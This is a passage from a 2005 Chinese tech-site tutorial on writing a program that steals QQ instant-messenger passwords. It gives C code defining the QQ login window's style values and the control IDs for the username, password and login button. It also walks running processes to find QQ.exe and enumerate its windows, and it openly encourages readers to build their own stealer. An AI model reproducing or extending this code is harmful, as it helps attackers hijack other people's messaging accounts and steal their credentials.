正在阅读:编程实现盗2005 Beta2版QQ编程实现盗2005 Beta2版QQ

2005-09-01 10:02 出处:PConline 作者:∮明天去要饭 责任编辑:moningfeng

  二、 实现过程
  有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的关键代码:

  (一) 定义宏
  //QQ登陆框正常情况下的风格
  #define QQLoginDlgNormalStyle  0x94CA00C4
  //QQ登陆框最小化时的风格
  #define QQLoginDlgMiniStyle  0xB4CA00C4
  //用户名下拉控件的ID
  #define QQLoginUserNameId  0x0000008A
  //密码控件文本框的ID
  #define QQLoginPasswordId  0x000000B4
  //登陆按扭的ID
  #define QQLoginButtonId         0x00003EA0

  (二) 枚举进程找到QQ.exe
  //定义PROCESSENTRY32结构
   PROCESSENTRY32 pe;
   pe.dwSize = sizeof(pe); 
   HANDLE hProcessSnap;
   //所有进程快照
   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   if(hProcessSnap == INVALID_HANDLE_VALUE)
   {
      printf("进程快照失败!\n");
      return -1;
   }
   BOOL bRet;
   //遍历进程快照,轮流显示每个进程的信息
   bRet = Process32First(hProcessSnap,&pe);
   while(bRet)
   {
      //pe.szExeFile保存的值为进程对应的可执行文件名
      if(strcmp(pe.szExeFile,"QQ.exe") ==0) 
    { 
      //这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
     BOOL bRet;
     //枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
     bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
     if(bRet == FALSE)
     {
      printf("枚举所有窗口失败!\n");
      return -1;
     }
  }
  }  
  这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。

键盘也能翻页,试试“← →”键

相关文章

关注我们

最新资讯离线随时看 聊天吐槽赢奖品